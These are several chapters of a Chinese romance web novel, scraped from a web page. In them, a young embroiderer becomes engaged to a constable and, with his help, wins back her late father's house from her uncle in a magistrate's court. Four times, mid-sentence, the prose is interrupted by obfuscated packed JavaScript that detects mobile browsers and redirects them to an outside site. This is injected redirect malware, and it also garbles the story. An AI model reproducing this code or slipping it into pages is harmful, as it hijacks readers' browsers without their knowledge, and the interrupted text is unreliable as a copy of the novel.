但是周母骂人实在太有气势了，她吵不过，声音也没人家大，最重要的是围观中有不少人对她们指指点点，却嘀嘀咕咕附和周母的话，这让她很没有底气。 周母可不管这些，眼中只剩下胜负欲。 白梅儿反驳一句她就有五六句等着，直将人骂的哑口无言，激动时，还能看到喷溅的唾沫。 “我，我们懒得跟你吵，泼妇。” 白梅儿吵不过生出退却之心，只是当着那么多人的面还是有些拉不下脸。 她眼珠子一转，突然看到了隐在人群中的宁秋，当即指着她喊道：“巧娘，你侄女，哎，既然回来了就说两句公道话，看看你姑姑被这泼妇欺负成什么样了。” “一家人打断骨头还连着筋，你就躲在后面干看着，良心不会痛吗？你爹娘都不在了，平州只剩下巧娘一个亲人，以后嫁人需要娘家人撑腰还不是指望巧娘一家吗？你脑子清醒点，分清楚谁才是真正对你好的人。” 白梅儿叭叭一顿输出，所有人的目光瞬间都转到宁秋身上，还自发为她让出一条路，她就是想躲也没地躲了。 宁秋没管其他人怎么说怎么看，坚定地走向周母，稳稳停在她的身边，随即面色平静地朝对面望去，唇角露出一抹讥讽，嗤道：“花家二嫂子，你是听不懂人话吗？” “什么？” 所有人面面相觑，不知道宁秋这话是什么意思？ 宁秋也不卖关子，当着众人的面重复一遍上个月说过的话。 她道：“你觉得宁巧娘好就自己去给她做侄女，而不是没事找事非要我认下这个身份。” “这句话我上个月便同你说过了，你左耳进右耳出，不当一回事，现在又来家门口闹，花婆婆知道你如此闲到处找人麻烦吗？” 上个月周母已经找花婆子掰扯过这件事了，邻里邻居，花婆子是个明理且说话算话的人，当场就承诺会管好儿媳妇，不让她乱来。 今日这一出恐怕她老人家还不知道呢！ 白梅儿闻言眼神闪躲，想到婆婆千叮咛万嘱咐的话，顿时心虚不已。 她没有接宁秋的话，而是揪住宁秋好好一个姑娘却住进无血缘关系的男子家中，于礼不合，不管怎么说宁巧娘都是宁秋的姑姑，她认为宁秋即便要借住也应该去庞家。 宁秋环顾四周，见周围有不少邻居对此指指点点，耳中听着白梅儿理所应当的话直接气笑。 周母反应比宁秋快一步，当即叉腰大骂道：“大家邻里邻居那么多年了，谁不知道谁啊？你们家里也有闺女，将心比心，若是你们家清清白白的好姑娘被人但处造谣，你们心里会好受吗？” “再说了，秋秋一开始住进我们家是为了照顾我，砚哥儿孝顺，花钱请她帮忙干活，正经发月银聘请，这事之前大家伙都知道。” 周围的人纷纷点头，确实有那么一回事。 场面控制下来了，周母心思一转，突然觉得这是个好时机， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667104|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便看了宁秋一眼，干脆咬牙公布道：“对了，事情发展到这个地步，我也不藏着掖着了，还有个好消息要提前告诉大家伙。” 周母拍了拍宁秋的手，一改方才的怒容，用得意自豪的语气笑道：“秋秋照顾我也有一段时间了，孩子上的厅堂下的厨房，细心能吃苦，还有一门好手艺，我是左看右看处处看，没有一处不满意。” “所以我前段时间已经托好姐妹保媒，征询秋秋的意见定下了她与砚哥儿的婚事，因为近期比较忙还没走流程，这才没往外说。” 此话一出，众人面面相觑，宁秋也诧异地看向周母，抿了抿唇，到底没在这个节骨眼上说什么不利己方的话，打算等眼前事处理好再私下询问周母。 “今日闹到这个地步实在不体面，既如此，我王桂花也不瞒着了，大家伙今日都做个见证，等办酒的时候大家也来吃酒。” “好！” 周母平日与人为善，人缘还不错，她开了口，其他人纷纷起哄应和。 正在这时，花婆子听到消息风风火火冲过来，诚恳地跟周母二人道歉，然后顶着左邻右舍看好戏的目光骂骂咧咧拉着白梅儿离开了。 没有热闹可看，邻居们相互招呼也离开了。 宁秋冷冷地看向对面的宁巧娘和另一个妇人，沉声道：“这是我最后一次告诫你，我们之间已经没有关系了，以后再有败坏我名声的消息传出我们就府衙见吧！” 说完，她深深看了宁巧娘一眼，与周母手挽着手回了周家。 她们走的快，没看到宁巧娘被好姐妹质问的场景，今日过后，那个妇人对宁巧娘也没往时信任了。 热闹褪去，只有两人的周家显得格外冷清。 宁秋心里还惦记着成亲办酒的事，犹犹豫豫，想问问什么情况又不知如何开口。 反倒是周母坦荡，笑盈盈地望着她，见她久久不语先开了口，“秋秋今日怎么回来那么早？” “身体有点不舒服，便回来早了些，没想到我姑姑一家子还不死心，变着法折腾，给您添麻烦了。” 宁秋心里愧疚，觉得是自己的问题拖累了周母，一时间不知该如何是好。 周母闻言当即安慰她道：“什么麻烦不麻烦的，都是自家人说什么两家话？婶娘真心喜欢你，希望你能做我的儿媳妇，今日没经过你的同意就将你和砚哥儿的事捅出去是婶娘的不对，还往你莫要因此恼了我们母子。” “不会的。”宁秋忙到。 没等她解释，周母又说：“没关系，你心里恼我们也正常，只要不影响你与砚哥儿的感情，婶娘会好好补偿你。不过，你和砚哥儿都在适婚的年纪，已经算晚婚了，若没有太大的问题还是早些定下的好。” 宁秋低眉沉思，半晌后还是点了点头，乖乖道：“好，我会认真考虑，等周大哥回来我再跟他详细商量。” “成，你们俩的事自己商量好，定下就给我一个答复，我提前做准备。” 周母不是那种掌控欲特别强的母亲，自然不会插手太多孩子的事，如何做还是要看小两口自己的主意，她听安排就好。 30. 返家 “好，多谢婶娘体谅。”宁秋在周母这里感受到了尊重，心里暖洋洋的。 二人将正事说定后，有一搭没一搭的闲聊，周母也渐渐发现了宁秋的不对劲，询问之下方知她的身体很不舒服，所以今日才回来那么早。 “哎哟你这孩子，不舒服也不早说，婶娘不打扰你了，你回屋好好休息，什么都没身体重要。” 周母叮嘱宁秋回屋休息，其他事不着急暂且搁置到一边，什么时候有空再处理也不迟。 宁秋颔首认同，忙回屋休息去了。 傍晚时分，天色沉沉，四下无风，隐隐有下雨的征兆。 周母正担心着在外的周砚就听见大门处传来响动，赶忙小跑出去探身一看，果真是自家儿子，不由松了一口气。 她抬头看了看天色，招呼道：“回来了？时间刚刚好，再晚些可能要挨雨淋了，赶紧洗手吃饭，菜也快好了。” “嗯。” 周砚点点头，目光在院子里转了一圈，没看见熟悉的倩影有些失望，不过听到厨房有声音他大概也能猜到人在哪里。 他收回目光，将佩刀随手一放，而后走到水井边胡乱清洗双手，手臂的青筋随着他的动作起起伏伏，厚实的手掌捧起一捧水往脸上搓了搓，水滴顺着小臂流动，在肘关节处滴落到地上。 简单收拾干净，周砚才走进厨房，正好听见周母与宁秋闲聊白天的事，他不明所以，好奇地问道：“谁吵架了？” “还能有谁，你娘和对门的颠婆。” 周母没好气地回了一句，然后巴拉巴拉述说前因后果，临了问周砚道：“唉，也怪娘嘴快，没跟你们商量就将事情捅出去了。事已至此，后悔也没用，你跟秋秋商量一下怎么解决，依娘看，婚事可以提上日程了，你们觉得呢？” 周母饱含期待，看看这个又看看那个，等了好一会儿也没得一个准信。 宁秋忙着炒菜没空回头说话，便暂时没应声。 周砚则偷偷看了宁秋的背影好几眼，食指轻叩，也没有急着给答复。 半晌后，他点了点头，只道：“我知道了。” 他神色淡淡，看不出太多情绪，话里也没有立马下定论的意思，周母实在捉摸不透年轻人的想法，心里着急也没用。 沉默片刻后，她还是没忍住说道：“罢了罢了，我也不插手太多，只是话已经说出去收不回来，婚姻大事非儿戏，里头的规矩多着呢！你们早点商量好给我一个准信，我也能提前请人帮忙。” “嗯，我们知道，最迟明日给您一个准信。” 周砚见宁秋没反应有些拿不准她的意思，想想二人之间的感情并没有发生变故，婚事提前些她应该也能接受，就先应了周母。 反正他答应过她不会催婚逼婚，以她的感受为主，若她觉得不妥，婚事慢慢来也行。 如何做还要等晚上好好谈一谈，了解彼此之间的想法，再决定。 即便婚事不定，也能借此机会增进双方间的感情。 周砚面上不显，心中已千回百转，将可能达成的结果都在心里过了一遍，越想越安心，无论结果如何他都不亏。 这边，宁秋炒菜的同时也分心倾听母子俩的对话。 对话没有声嘶力竭，没有催促逼迫，也没有独裁专断，他们很尊重她的意见，都在等她的回答。 其实在此之前她有认真想过关于成亲的问题，爹娘都不在了，一切都要她自己做主，没有人帮她把关，也没有人为她操持，甚至没有娘家人在身边祝福她。 第一次直面关乎一辈子的大事，她的内心是惶恐不安的，甚至想过逃避，能拖一天是一天。 现在她改主意了，她很清楚自己没有勇气独自生活一辈子，成亲生子这条路迟早都要走，既如此，早走晚走都一样，当下或许就是最好的时机。 她有能力养活自己，不怕试错，周砚若能一心一意与她相守，她便安安心心与他过。 若是不能，大不了将人踹了，分开各过各的。 宁秋释然，心想：“阿爹阿娘九泉之下知道多了一个好女婿，宝贝女儿也好好的，应该会很欣慰吧？” 她这么想着没忍住笑出声来。 恰巧此时周砚走过来打下手，听到她的笑声好奇地看过去，细细打量她的神色，眼神好似在问：“笑什么？” 宁秋没理，意味深长地看他一眼，让他更懵了。 随即她指挥道：“没什么，菜好了，周大哥你端过去吧！我洗锅。” 周砚看着油乎乎的锅，眉头一凝，想也没想直接夺过宁秋手里的洗锅布刷刷刷开干，见宁秋还在边上站着，勉强解释道：“你端菜我来洗锅，以后粗活都留给我，你现在升二级绣娘了，接触的绣活越来越精细，双手也得好好养着。” 他的声音干巴巴听不出太多情绪，解释完继续闷头做事，动作很是麻利。 宁秋没想到他一个大男人能考虑如此细致，当即一愣，红了脸。 她低头看了看自己的手，指尖微蜷，轻轻发出一声“嗯”。 做绣娘确实需要注意手的保养，接触的布料越好，要求越高，这也是宁秋想搬出周家的原因之一。 只是有些话不好明说，确定不搬家后，她还纠结过该寻什么借口少干点活，月银是不打算要了。 现在周砚一句话直接打消了她所有的顾虑。 她对这个家的归属感又增加了一层。 一顿饭下来，和乐融融。 饭后，周母为了早点知道宁秋的选择主动揽下洗碗的活，催着两个小年轻好好沟通。 周砚和宁秋对视一眼，皆无奈地笑了。 宁秋没有扭捏，先周砚一步单刀直入道：“周大哥我同意嫁给你，但是我有个条件。” “什么条件？”周砚追问。 她会同意在他的预料之内，当下更重要的是那个条件。 宁秋道：“我希望你能陪我回一趟章回县，所有婚事流程都不能少。” “好，这是应该的，即便你不说，我和阿娘也会去做，放心吧！” 周砚松了一口气，毫不犹豫地应了。 与宁秋互表心意前，他曾借职务之便调查过宁秋家中的事，得知宁父留给宁秋的资产已经被讨人厌的亲戚霸占了，现在宅子里住的是宁大伯一家。 对方有意花钱收买县衙的人，想将宅子过户到自己名下，奈何关系不到位没成功。 那时他没有身份立场插手别人家的事，现在他即将与宁秋结亲，往后就是一家人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674818|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于情于理，他都该坚定地站在宁秋身边，一起面对，夺回老丈人留下的东西。 周砚简单说了自己知道的情况，宁秋听完沉默了。 明明是预料之中的事，自己也早做好了心理准备，可真正听到实锤的消息，心里还是克制不住会难受。 世上为什么会有如此不要脸的人，连自己的亲侄女都容不下。 “你想什么时候回去？”周砚问。 宁秋想了想，轻叹回道：“越快越好，看你什么时候方便。” “如此便三日后出发吧！”周砚一锤定音，行程就这么定下了。 三天时间足够他们处理完手头的事情，提出告假，上面的人也能接受。 …… 冬月二十，难得的好天气。 周砚早早出门租赁了一辆马车，因老槐巷太窄进不去，便停在巷口百无聊赖地等候。 也不知过了多久，时间来到辰时二刻，天已经大亮周母和宁秋才背着三个大包袱缓缓走出来。 周砚见状立马坐直身体，下车快步迎过去，道：“包袱给我。” “好。” 宁秋和周母没跟他客气，包袱一甩，全塞过去了，而后悠哉悠哉地走向马车。 平州城距离章回县并不近，按照白天赶路晚上休息的计划，马车慢行需要四日左右方能抵达。 周母年纪大了，长途奔波未必受得了，可是留她一人在家中等消息，她又处处不放心，担心年轻人不懂规矩，失了礼节，思来想去，还是决定陪周砚他们走一趟。 累就累一点吧！路上走慢点，该休息就休息，不过四日，生熬也能熬过去。 于是三人走走停停，终于在第四日天黑前进入章回县城中。 家被大伯他们占据的事宁秋出发前已经知道了，怒气已消，整个人前所未有的冷静。 她提议道：“婶娘，周大哥，我们今晚先找个客栈休息，养精蓄锐，明日再去我家。” “好。”周砚没意见。 周母下车按了按自己的腰，也道：“哎哟我这把老骨头，确实该好好休息，不然没有精力应对你大伯他们，能做出驱赶亲侄女抢占亲弟弟财产的肯定不是什么好人，咱得支愣起来，别人怎么对我们，我们就怎么还回去，莫让对方明白我们也不是好欺负的。” “婶娘说的是，跟无赖讲道理就是对自己的伤害。”宁秋附和。 阿爹过世后，人情冷暖她没少品，道理都懂，但实践起来处处受限，没有想象中容易，还好她现在不是一个人了，有更多的勇气去面对困境。 他们选了一间距离宁秋家最近的客栈，安安稳稳歇息一夜。 翌日。 三人吃饱喝足精神满满直奔宁秋家所在的平安巷。 巷口有几个婶子正在闲谈，看到宁秋时都以为自己看花眼了，纷纷露出诧异神色。 身着蓝花袄的婶子最先反应过来，忙起身快走两步来宁秋身边，将她上下打量一遍又看看陪在她身边的母子，欣喜又好奇地问道：“呀，是秋秋吗？你怎么回来了？前几个月你去哪了，有没有受欺负？” “青花婶婶好，我家就在这，得空便回来了，顺便看看大家伙，您放心，我在外一切都顺利，婶婶近来可还好？” 31. 踹飞 青花婶就住在宁秋家对面，宁父还在世时，两家关系极好，宁父故去，丧事的操持也多亏了青花婶从中帮衬。 她老人家的恩情宁秋这辈子都忘不了，也打定主意会好好报答。 宁秋没想到会在巷口偶遇青花婶，开口三连问，句句关切，她心中顿时有种说不出的滋味。 自家血亲忙着算计，忙着抢她阿爹的遗产，恨不得她死在外面，而没有血缘关系的青花婶开口就是对她的关心，眼中的高兴与心疼也做不得假。 “你顺利就好，婶子在家吃好喝好，没事就在巷口跟老姐妹聊聊天，日子别提多舒坦了，你别惦记婶子，你把自己的日子过好婶子就放心了。” 青花婶说到这，顿了顿，犹豫好一会儿才劝道：“你家大伯住进去了，具体什么情况我也不知，你在外边过的好就别回来了，家里闹心还得时刻防备，提心吊胆，日子都过不舒坦。” 宁秋知晓她老人家是好心，安抚道：“婶子放心，我都知道。那是我的家，宅子是阿爹留给我的，就算空着我也不想便宜那些个不要脸的人，这次回来就想彻底将事情解决了。” “唉！你心中有数就好，婶子也帮不上忙。”青花婶将目光移向周砚母子，压低声音问道：“秋秋，这两位是？” 青花婶突然转移话题，宁秋一时没反应过来愣了一下，随即红着脸伸手挽住周母的小臂，又拉了拉周砚，介绍道：“这是我未婚夫和他母亲，他们陪我回来看看爹娘。” “婶婶好，多谢您之前对秋秋的照顾。”周砚行了晚辈礼，柔和了神情。 周母也发挥自己超强的社交能力开始跟青花婶套近乎，一口一个老姐妹，没一会儿，二人便混熟了，聊起来没完没了。 宁秋心里还惦记着回家，扯了扯周砚的袖口，周砚明了她的意思，假咳两声，周母和青花婶都不约而同回头看过来。 宁秋忙道：“青花婶婶，我们先回家一趟，改日得空再请您来家里吃饭，您一定要赏脸，把明生哥和罗伯伯他们也叫上。” “好说好说，秋秋诚心邀请，婆子我定不会跟你客气，你们先去忙，需要帮衬就到对门找我们。”青花婶说着客气话，目送三人朝巷子深处走。 宁秋家在巷子最里面，一路走进去碰见好几个熟人，她都客客气气回应了，还从熟人口中探听到一些关于大伯他们的消息，面色越发沉郁。 看来还是她见识浅了，才会一次又一次震惊于别人不要脸的行为，不断刷新自己的三观。 周砚察觉到宁秋的情绪变化小心翼翼地握住她冰凉的手，低声安抚道：“别担心，还有我。” “嗯。” 暖意自手部渐渐卷上心头，宁秋的情绪平复了不少，她回握住周砚的手，深吸一口气，脚下步伐加快，每走一步就更加坚定她的决心。 周母步调慢一些，落在周砚二人身后，看到眼前一幕欣慰地笑了。 平安巷住的都是些家境一般的小老百姓，地段跟老槐巷差不多，在章回县城算不得好，巷子也不大，连马车都进不来。 三人朝内步行了差不多两刻钟，终于抵达宁秋家门口。 大门上刷了新漆，看上去比宁秋离家时靓丽不少，宁秋呆愣愣地停下脚步，站在熟悉又陌生的门前心中百感交集。 周砚看她一眼，主动松开她的手上前敲门，边喊道：“有人在吗？有人在家吗？” 里面很快就传来一个妇人不耐烦的回应，大门吱呀一声打开一条门缝，露出妇人蹙眉不耐的脸，她不善反问道：“你找谁？” “我找宁丰收，他在吗？”周砚面不改色，没将妇人的无礼放在心上。 他身量高，又常年习武身形健硕，宁秋站在他后面被挡的严严实实，门边的妇人根本没看到她。 “找他干嘛？我瞧你面生，你与我家男人应该不认识吧？” 妇人看向周砚的眼神中多了分警惕，步子下意识后退，门缝也关小了一点。 “找他自然是有事，哪那么多废话，人到底在不在？” 周砚突然变脸，凌厉的目光，不客气的话语，配上高大的身形，瞬间释放出更大的威压，妇人支支吾吾，气势瞬间弱下来。 她的眼睛一瞥，害怕、担心的情绪占了上风，下意识想关门，被周砚眼疾手快拦住了。 周砚不再跟她说废话，手臂一个用力大门彻底被推开，妇人急急后退，他就顺势挤进庭院。 周母和宁秋对视一眼，也跟着走进去。 “哎呦，你们要干嘛？这里是我家，强闯民宅是犯法的，我要去官府告你们，不准动，当家的，阿建，阿树，有人上门找事了。” 妇人一边朝里退一边高声大喊，将屋子里所有人都惊动了。 眨眼间的功夫，四间屋子出来八个人，男女老少都有，齐齐看向周砚三人。 “怎么回事？无知村妇，咋咋呼呼像什么样，带你进城享福，几个月也改不了臭毛病，没用的黄脸婆，喊那么大声是怕左邻右舍听不见吗？老子的脸都被你丢尽了。” 宁丰收黑着脸走出来，不管三七二十先将妇人大骂一顿耍耍威风，见妇人低眉顺眼缩回角落才抬眼看向周砚三人，将他们从头到脚打量一边，凶狠的眉眼不悦凝起，问道：“你们是谁？找我有什么事吗？有事说事，没事还请离开我家。” 宁父过世之前，两家几乎不往来，也就宁父死后他们惦记宁秋手中的财产上门挑过两三次事，实际上对宁秋并不熟悉。 时隔三个月，他们一家的日子过得跟想象中一样舒坦，宁秋离开前还打伤了上门的无赖，得罪了人，宁丰收他们从中得到不少好处，早已将这处宅子视为自己的东西，也不认为宁秋一介孤女敢大张旗鼓地回来。 此时面对周砚三人无礼的登门方式，宁丰收想了很多，唯独没往宁秋那边想。 倒是最旁边那间屋子出来的姑娘觉得宁秋眼熟，正冥思苦想哪里见过。 宁秋没让对方思索太久，听到宁丰收的问话直接上前两步与周砚并肩而立，神情复杂，大喇喇迎上那探究的目光，挑明自己的身份。 她无畏地反驳道：“大伯，您说错了吧？这里是我家不是你们家，要走也是你们走。” “什么？”宁丰收的脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684172|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下子没转过弯来。 宁秋见他如此反应，冷嗤一声嘲讽道：“抢别人的东西抢习惯了，您莫不是连自己是谁都忘了？您家住哪里您还记得吗？” “你是秋秋？” 宁丰收一家人反应过来，盯着宁秋的脸看个不停，心里又惊又疑，终是确认了宁秋的身份。 不过他们不要脸惯了，压根不觉得自己有错。 宁丰收的大儿子宁建当即跳出来嚷嚷道：“什么你家，现在是我们家。” “对啊对啊。”小儿子宁树立马附和。 那表情，那嚣张无比的动作，看得宁秋和周砚母子牙根痒痒，恨不得立马上前将人打一顿以泄心头的郁气。 宁丰收老神在在没有一丝一毫的心虚，由着两儿子口出狂言，等他们说的差不多了，他才抬手象征性制止，虚伪地对宁秋说道：“秋秋啊！你年纪小不懂事，大伯不怪你，但是你自己好好想一想，哪家财产不是男丁继承？” “你爹没有儿子，他那一脉断了，咱们老宁家的香火还得靠你堂兄堂弟继承，你是姑娘家，早晚都要嫁出去，届时不还是需要娘家堂兄弟撑腰吗？” “呸，我不需要，不要为你们无耻的行径找冠冕堂皇的借口。” 宁秋气的脸颊涨红，啐了一口，打断宁丰收的话，继续反驳道：“当初分家我阿爹一个铜板都没得到，还被你们合伙赶出来，老宁家的财产早被你们两个黑心兄弟瓜分完了。这处宅子的一砖一瓦都是我和阿爹一点点辛苦攒下来的，跟你们，跟宁家没有半个铜板的关系。” 宁丰收淡淡瞥了宁秋一眼，闻言也不恼，看宁秋的眼神如同在看一个不懂事的孩子，等宁秋话落，他又端起长辈的范，继续他的长篇大论。 他道：“你急什么？姑娘家还是柔顺点好，吵吵嚷嚷要抢财产也不怕左邻右舍笑话你爹，也不知道你爹怎么教孩子的，将你惯成这样，一家人哪有隔夜仇？你如此没有家族观念，我不介意帮你爹教养。” “还有，你爹没了，我们作为长辈也该操持你的婚事，三个月前已经将你许配出去了，按理说你已经不是我宁家的人，出嫁女回来抢财产，传出去真丢我老宁家的脸……” 宁丰收还在巴拉巴拉说个不停，眼神中全是对周砚的挑衅，宁家其他人也时不时附和，一个比一个得瑟。 他们沉浸在自己构建的美好之中，对宁秋的愤怒不屑一顾，却没注意到站在宁秋身边的男人早已脸黑入墨。 特别是宁丰收那句“三个月前已经将你许配出去”直接戳中了周砚心中的雷点，他一忍再忍，终是没忍住迅速动身，一脚踹向宁丰收的腹部，将人踹飞重重撞到墙面上。 事情发生的太突然，庭院内顿时响起阵阵吸气声，随即宁家其他人乱作一团，有人尖叫一声匆忙上前搀扶宁丰收，有人指着周砚三人破口大骂，而宁建和宁树怒气上头竟冲上来想打周砚，被他以不同的姿势踹飞了。 混乱婚后，空气死一般安静。 周砚理了理身上的衣服，冷声道：“与他们废话那么多做什么？无赖是听不懂道理的，对付无赖就要用无赖的方式。” 32. 公堂 宁秋瞪大了双眼，看向周砚的眼神中盛满了星光。 周母也上前一步护在宁秋的身前，视线扫过宁丰收一大家子，触及到一双双愤恨的眼眸时，她顿了顿，心中的怒火燃烧的更旺盛了。 她理智尚在，知晓儿子动了手，事情拿到明面上有理也亏三分。 打一顿还能借口对方太气人或者对方先动的手，将锅甩出去，二次动手就不可取了。 这时候要果断些，该怎样就怎样，再与宁家人纠缠不休只会影响办正事进度，平白给自己惹一身骚。 周母沉思片刻后侧头对宁秋说道：“秋秋，这边你熟，出去请几个见证人回来，咱们上衙门伸冤去。” 宁秋一愣，很快明白周母话里的意思，点点头，转身跑出去了。 周砚身为官差，对律法有一定的了解，此时也默认母亲的安排，随手捞起一条棍子指向宁丰收一家八口，那淡漠的视线一扫，宁家人噤如寒蝉，小心翼翼缩在一处。 到底只是小农之家，窝里横的经验很足，在村子里也没少占其他人的便宜，但是一遇到真正横的人，他们就变成了鹌鹑，连屁都不敢放一个，只忌惮地望着周砚，生怕他心里不痛快一棍子打下来。 一刻钟后，宁秋领了四位婶子回来，路上她已经将事情经过大致说了一遍，婶子们都是性情中人，本就心疼宁秋，听完前因后果更是气愤不已，大骂宁丰收一家不做人，不要脸。 宁秋顺势请求她们一块去县衙作证，她们没有一丝犹豫直接答应了。 “秋秋放心，婶子们都站你这边。之前很多事情我们不清楚，也不便多插手，现在知道一切，不管怎么样我们也做不到袖手旁观了。” 青花婶最积极，连连保证，还一个劲给宁秋出主意，还说要把家里的男人们也喊回来撑腰，被宁秋拦住了。 宁秋很感激婶子们的偏爱，但是各家有各家的难处，都不是什么大富大贵的家庭，男人们是家中顶梁柱，要挣辛苦钱养家，她家的事还是尽可能少麻烦别人，有四位婶子作证足够了。 五人骂骂咧咧跨入宁秋家，劈头盖脸将宁丰收一家子围在最中间，七嘴八舌地询问他们是否知道错了，让他们立马搬出去。 宁丰收好不容易将弟弟的家财抢占到手，又怎会轻言放弃？ 他心中始终认为闺女是赔钱货，迟早要嫁出去，乃不折不扣的外人，而辛辛苦苦挣出来的家产都该由儿子继承，没有儿子还有子侄，反正不能给闺女。 宁父去世了，只留下一个闺女，于情于理，财产都该由他这个做大哥的继承。 他是长辈尚且如此不要脸，更别提他两个儿子了，一个个都认为这出宅子就是他们的，被打一顿还学不乖，依旧输出一堆歪理争辩不休。 “行了，跟你们说不通，孰是孰非，咱们到县太爷面前好好分说，让大人来定夺。” 周母一声喊，争吵的双方皆不约而同闭了嘴。 “我们秋秋有房契地契，邻居们也能证明这是她的家，你们口口声声说宅子就是你们的，有什么证据吗？敢不敢和我们对簿公堂？” 宁丰收一家不吭声了。 不过，周母没打算就这样放过他们，继续言语刺激，周砚在旁武力辅助，最终是宁树年轻气盛受不得激将法气呼呼应承，拉着一家子人与周砚他们一块朝县衙走去。 老老小小十几个人浩浩汤汤出现在大街上，顿时引得不少人关注，议论纷纷。 有认识的人上前询问情况，双方各有各的说辞，好事者出于八卦心理也跟在后面看热闹，队伍逐渐壮大，抵达县衙时直接将大门围堵起来。 门口值守的官差以为出了什么大事赶忙上前阻拦，询问情况，一群人七嘴八舌说个不停，意见相左差点就打起来了。 官差眼看事情不妙忙一声厉呵，好不容易将场子镇下来了，急匆匆进衙门跟上司禀告。 一炷香后，涉案双方被传唤上公堂，跪了一地，看热闹的人群进不来，只能守在门口伸长脖子张望。 “威武”声落，宁秋开始紧张。 她已经不是第一次见官了，按理说应该很有经验能够坦然面对才是，可章回县县衙是逼她逃去陌生城市的帮凶，也因为官府的不作为将她推进险地。 如今再次跪在堂下，她有种难以言说的滋味。 担心害怕有，但更多的是想要冲破桎梏，推翻心里阴影的坚决。 今日她必须赢！ 相比于宁秋复杂的情绪，周砚母子坦然冷静，宁丰收看到堂上站着自己认识的人也心中一松，神情中隐隐有些得意。 “堂下何人，所为何事？” 县太爷一拍惊堂木，连门口窸窸窣窣的议论声都停止了，所有人的目光都汇集在堂中跪着的人身上。 “大人，草民有冤要申！” 宁丰收反应最快，几乎是县太爷话音落下的瞬间他便抢先开了口，一把鼻涕一把泪，站在自己的角度将整件事说了一遍，还将住进宁秋家以及给宁秋定亲之事推到已故宁父的身上，哭诉自己所做一切都是宁父临终所托，他这个伯父没有私心，只是为了完成亲弟弟的遗愿。 一字一句颠倒黑白，可把宁秋他们气坏了。 宁秋作为当事人据理力争，控诉大伯一家没一句真话，自己阿爹是意外故去，课堂上的孩子们，还有孩子们的长辈都能作证，根本来不及留下遗言，而且就算阿爹留遗言，也不可能将她许配给泼皮无赖。 她请求传唤人证，县太爷瞥了眼跪在边上一言不发的眼熟面孔，允了。 青花婶四人低着头被传上到公堂，规规矩矩给县太爷磕了三个响头。 她们一辈子本本分分，从未做过伤天害理、偷鸡摸狗的事情，临老上一回公堂，紧张是有的，只是她们心中坦荡，清楚自己这方占理，回答问题时有条有理，全部都说到重点上了。 而后宁秋呈上物证，房契地契上写的都是宁秋的名字，足以证明宅子就是她的。 宁丰收一家还想狡辩，惊堂木拍响，县太爷一锤定音宣判结果。 宁秋一方赢了！ “主谋宁丰收强占她人财产，试图以不轨手段侵害她人人身安全，虽未成功，但相关情节构成事实，两罪并罚，拖下去打二十大板，牢狱监禁一年。” “宁建、宁树为从犯，情节较轻，打二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687047|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大板以示惩戒，周柳娘知情不劝阻，纵容夫君、儿子犯罪，打十大板以示惩戒。” “所有判罚立即执行，限尔等今日天黑前搬出平安巷六十八号，宅子物归原主，过时未执行者罪加一等！” 县太爷判罚声一落，宁丰收一家纷纷瘫坐在地上，很快就有官差上前将他们架走，当着所有人的面行杖刑。 一时间，整个县衙回荡着求饶哭喊声，宁丰收的大儿媳、大孙子以及两个女儿害怕地缩在角落默默流眼泪。 宁秋冷冷看着这一幕，心中畅快无比。 她侧抬头看向周砚，正好他也低头看过来，二人相视一笑，万千情绪都藏在这个眼神里了。 周砚小步靠近宁秋，趁无人注意悄悄牵起她的手，掌心炙热的温度很快将她包裹起来，任凭外面寒风凛凛，也影响不到她半分。 青花婶这会儿正好站在宁秋他们身后，看到小年轻之间悄摸摸的互动忍不住捂嘴偷笑。 她用胳膊肘轻轻撞了撞周母，下巴一抬，示意对方往那看。 周母一愣，很快露出欣慰又得意的笑容，凑到青花婶耳边小声说道：“小两口感情好，离不得一点，之前我可没少操心，现在倒是不愁了。” “儿孙自有儿孙福，你莫管太多，日子还得他们自己过才能品出味来。” 